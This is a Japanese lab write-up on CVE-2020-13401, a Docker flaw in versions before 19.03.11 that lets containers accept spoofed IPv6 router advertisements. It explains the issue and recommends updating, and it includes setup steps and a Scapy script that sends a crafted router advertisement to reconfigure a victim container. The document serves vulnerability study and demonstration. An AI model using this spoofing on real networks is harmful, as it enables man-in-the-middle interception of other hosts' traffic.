
19.03.11 より古い Docker のコンテナにおける CVE-2020-13401 脆弱性の調査
19.03.11 より前の Docker のコンテナにおける CVE-2020-13401 の脆弱性に関する調査
19.03.11 より前の Docker Engine で作成されたコンテナは、ネットワーク内の他のコンテナから送信される偽の RA(ルーター広告)メッセージを受信して適用する脆弱性があります。RA の受信はオペレーティングシステムの通常の動作ですが、RA 送信者がネットワーク内で信頼されていない場合、被害者コンテナはそのメッセージを受信してネットワークに参加し、すべてのネットワークパケットを新しい偽ルーターに送信してしまう可能性があります(中間者攻撃)。この問題は IPv4 とは関係なく、IPv6 に基づくものです。
元の CVE 項目ソース: CVE-2020-13401
19.03.11 より前の Docker Engine では、コンテナは RA メッセージを デフォルトで 受け入れます。ネットワーク上に CAP_NET_RAW ケーパビリティを持つ別のコンテナがあるとします。つまり、このコンテナは任意のネットワークパケットを作成してネットワークに送信できるということです。したがって、このコンテナはパケット作成元として利用される可能性があります。新しいバージョンでは、Docker Engine でこの機能が有効化されない限り、コンテナは RA メッセージを受け入れません。そのため、管理者がこの機能を有効にすることを選択した場合、システムは依然として脆弱である可能性があります。
この脆弱性からコンテナ環境を保護するために、Docker Engine を更新することを強くお勧めします。
この調査では、この脆弱性がどのように発生するかを実演し、RA メッセージによってコンテナがどのような影響を受けるかを確認したいと思います。
実行中のコンテナで、IPv6 が機能しているかどうかを確認するテストを行いました。しかし、自分のコンテナではデフォルトで IPv6 がサポートされていないことがわかりました。デフォルトでは、すべての Docker コンテナは ネットワークに接続されており、このネットワークは IPv6 をサポートしていません。Docker で IPv6 を有効にするには、 のパスに ファイルを追加する必要があります。このファイルの内容は次のとおりです。
bridge/etc/docker/daemon.json{ "ipv6": true, "fixed-cidr-v6": "fd00::/80" }
任意の有効な IPv6 サブネットアドレスを割り当てることが可能です。その後、Docker を再起動し、デフォルトのブリッジネットワークを設定するためにデーモンファイルを最初から再度読み込む必要があります。また、IPv6 をサポートする新しいネットワークを定義することも可能です。
設定を再読み込みして Docker を再起動するコマンド:
$ sudo systemctl daemon-reload$ sudo systemctl restart dockerこれまでに IPv6 をサポートする Docker を用意しました。シミュレーションを開始するためにコンテナを作成する時が来ました。少なくとも 2 つのコンテナが必要です。ここでは Ubuntu_1 と Ubuntu_2 と呼びます。ホストマシンで以下のコマンドを使用してコンテナを作成します。
$ docker pull ubuntu
$ docker run --name ubuntu_1 -i -t ubuntu bash
$ docker run --name ubuntu_2 -i -t ubuntu bash
次のコマンドでコンテナを一覧表示します。
$ docker container ls -a
コンテナ名を使用してコンテナを実行します。
$ docker container start -ai [CONTAINER NAME]
両方のコンテナには、次のような基本的なツールが必要です。
| ツール | インストールコマンド |
|---|---|
| nano (または任意のエディタ) | apt-get install nano |
| net-tools | apt-get install net-tools |
| hping3 | apt-get install hping3 |
| tcpdump | apt-get install tcpdump |
| scapy | apt install python3-scapy (1 つのコンテナにのみインストール) |
必要なツールをインストールし、コンテナが接続されていることを確認します。そのために、ifconfig コマンドを使用してコンテナの IP とインターフェース情報を取得します。次に、ping -6 [destination IPv6] で他のコンテナに ping を送信して、接続されていることを確認します。また、宛先コンテナで tcpdump を使用して、受信した ping パケットを確認することもできます。
(コンテナへの ping には必ず IPv6 を使用してください)
ネットワーク内のコンテナの 1 つから細工された RA メッセージを送信し、被害者の IP テーブルを更新することです。
IPv6 ルーター広告メッセージを作成するために SCAPY を使用しています。Scapy は Python ベースです。インストール手順は次のとおりです。
$ sudo apt install python3-scapyRA パケットはブロードキャストパケットであり、すべてのネットワークノードに配信されることを意味します。また、IPv6 ルールに基づいています。したがって、宛先アドレスは ff01::1 で、プロトコルは ICMPv6 に基づいています。
Scapy を実行します:
$ scapy
パケットを細工してネットワークに送信するために、次のコマンドを使用します。
a = IPv6()
a.dst = "ff02::1"
a.display()
b = ICMPv6ND_RA()
b.display()
c = ICMPv6NDOptSrcLLAddr()
c.lladdr = "02:42:ac:11:00:02"
c.display()
d = ICMPv6NDOptMTU()
d.display()
e = ICMPv6NDOptPrefixInfo()
e.prefixlen = 64
e.prefix = "d00d::"
e.display()
send(a/b/c/d/e)
パケットを送信した後、他のコンテナに移動して ifconfig を再度使用します。RA メッセージを受信すると、IP テーブルが更新されていることがわかります。
この問題をテストおよび調査するために、カスタマイズした Docker イメージをプルできます。 カスタマイズした Docker イメージ